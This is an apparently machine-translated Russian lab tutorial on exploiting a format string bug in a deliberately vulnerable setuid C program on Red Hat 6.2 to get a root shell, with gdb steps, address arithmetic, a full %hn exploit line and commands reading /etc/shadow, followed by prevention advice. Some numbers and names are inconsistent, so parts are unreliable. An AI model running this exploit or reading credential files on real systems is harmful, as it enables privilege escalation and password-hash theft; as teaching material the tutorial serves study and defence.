Вы можете выполнять команды с привилегиями root в пользовательском режиме в Linux. Для этого мы будем использовать концепцию атаки форматной строки. Если вы когда-либо программировали на языке C, вы, вероятно, слышали о строковом формате, и мы будем его использовать. Вот подсказка: угадайте разницу между двумя жирными линиями

#include <stdio.h>
int main(int argc, char **argv){
     printf("%s", argv[1]);
     printf(argv[1]);         
 }

Первый устанавливает формат фактора printf(), а второй — нет. Мы воспользуемся этой разницей и уберем привилегии root. Если вам интересно, сначала установите Red Hat 6.2 для практики!

※ В последней версии Linux имеется множество инструментов безопасности, поэтому они не подходят для изучения основных методов атак в системе безопасности.

※ Тем не менее, если вы используете свой обычный Linux, вы всю ночь будете видеть сообщение "ошибки сегментации" . Но если вам удастся взломать последнюю версию Linux, используя нашу публикацию, немедленно отправьте электронное письмо в компанию Linux и попросите вакансию. (Не забудьте сообщить нам об этой хорошей новости в комментариях.)

‹Практическая среда›

1. eggshell.c
2. format_bugfile.c
3. Red Hat 6.2
4. A little bit of patience and a lot of faith that you can.
------------------------------------------------------------------
// format_bugfile.c
#include <stdio.h>
main(){
int i =0;
    char buf[64];
     memset(buf, 0, 64);
     read(0, buf, 64);
     printf(buf);
}
-------------------------------------------------------------------
// eggshell.c
// We linked eggshell.c source at the bottom of the post.

1. Скомпилируйте и запустите format_bugfile.c и eggshell.c

$ gcc -o format_bugfile format_bugfile.c
$ gcc -o eggshell eggshell.c

Если у вас нет проблем с компиляцией, выполните format_bugfile и введите AAAAAA и несколько %x в качестве входных данных. Результаты будут аналогичны нашим. Начиная с третьего номера, у вас может быть иначе. Запомни последнюю цифру.

2. Выполните команды gdb и дайте разрешения.

$ gdb format_bugfile
disass main
break *0x804842b  /*Enter the address to the left of <main+3>.*/    /*Perhaps your memory address is different from ours.*/
run
info reg $ebp
x/12 $ebp

Если исполнение похоже на следующее, вы хорошо следуете. Вычислите один адрес 0xbffff16cи запомните его.

После использования gdb дайте разрешение на format_bugfile.

[root] # chown root:root format_bugfile
[root] # chmod 4755 formatbugfile

3. Выполните команду eggshell и проверьте этот адрес.

4. Завершите работу с ошибками!

① Разделить адрес яичной скорлупы на две части.

0xbffff148 -> 0xbffff/ 0xf148

② Добавьте 1 к формальным числам и преобразуйте две части в десятичные числа.

1bfff -›114687

f148 ->64344

③ Вычтите 16 из последнего, затем вычтите значение из первого.

64344–16=64328

114687–64328= 50359

④ Теперь мы можем закончить код атаки! (Настройте цветные части, соответствующие вашему адресу памяти.)

$(printf "\x41\x41\x41\x41\x6c\xf1\xff\xbf\x41\x41\x41\x41\x6e\xf1\xff\xbf%%64328d%%hn%%50343d%%hn%%";cat) | ./format_bugfile

4. Успех в атаке.

После того, как экран погас в течение длительного времени, мигает только подсказка. Нажмите клавишу Enter несколько раз и введите эти команды.

id
cat /etc/shadow

Вам удастся получить корневой идентификатор, поэтому вывод UID будет распечатан как 0, и нет проблем при чтении /etc/shadow следующим образом:

# Как это возможно?

Даже если вы не понимаете ниже, нет проблем с практикой, потому что мы так хорошо объяснили процессы выше. Если не возражаете, обратите внимание на эти две уязвимости.

  1. Если нет фактора строки формата после последнего ввода, с момента вызова функции printf() с точки зрения стека printf()рассматривайте в порядке от содержимого вершины стека как факторы printf().
  2. %n&%hn,в этом строковом формате хранится количество байтов, напечатанных printf()в указателе типа int. %n хранить как 4 байта, а %hn хранить как 2 байта.

Поэтому, если мы укажем правильные значения перед %n/%hn, %n%hn будет рассматривать это значение как адрес и сохранять количество байтов, напечатанных по соответствующему адресу в памяти.

Собственно, результат AAAAAA и несколько %s отображают содержимое вашего стека следующим образом:

① Будет распечатана входная строка AAAAAA.

② Значение ASCII передней части ввода AAAAA, 41

③ Значение ASCII задней части ввода AA

④ 0 сохраняется для контрольной точки int i= 0

⑤ сохраненное значение значения ebs (sfp) этой функции

⑥ повторное значение основной функции.

ret означает адрес возврата, который является адресом памяти, где будет располагаться следующая команда для запуска. Если мы перезапишем эту возвращаемую часть некоторым адресом памяти, содержащим нужную команду, мы сможем выполнить желаемую команду. Поэтому мы попытались перезаписать эту часть адресным значением eggshell.

Плюс, исходя из процессов gdb, структура атакуемого стека выглядит следующим образом:

Наконец, завершите код ошибки по следующему принципу:

# Это интересно, но как предотвратить этот баг?

Конечно, эта атака интересна, но будет очень жаль, если ваша система будет атакована этой ошибкой. Современные компиляторы и системы готовы предотвратить атаки на форматные строки, но если вы не знаете, вам лучше иметь следующие навыки кодирования.

  • Всегда указывайте строку формата как часть программы, а не как ввод.
  • Использование функцииprintf(), как показано ниже, не вызывает никаких проблем.
printf("%s\n", buffer);
  • Если возможно, сделайте строку формата константой. Извлеките все переменные части в качестве других аргументов вызова. Трудно сделать с некоторыми библиотеками интернационализации

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

# Ссылка на файлы format_bugfile.c и eggshell.c, которые мы использовали

яичная скорлупа.с

format_bugfile.c

# ссылки

1) 양대일,『정보 보안 개론과 실습 : 시스템 해킹과 보안(개정판), 한빛아카데미(2013), page.374~382) «Forability and Prevention» по состоянию на 20 июня 2019 г., https://www.geeksforgeeks.org/format-string-vulnerability-and-prevention-with-example/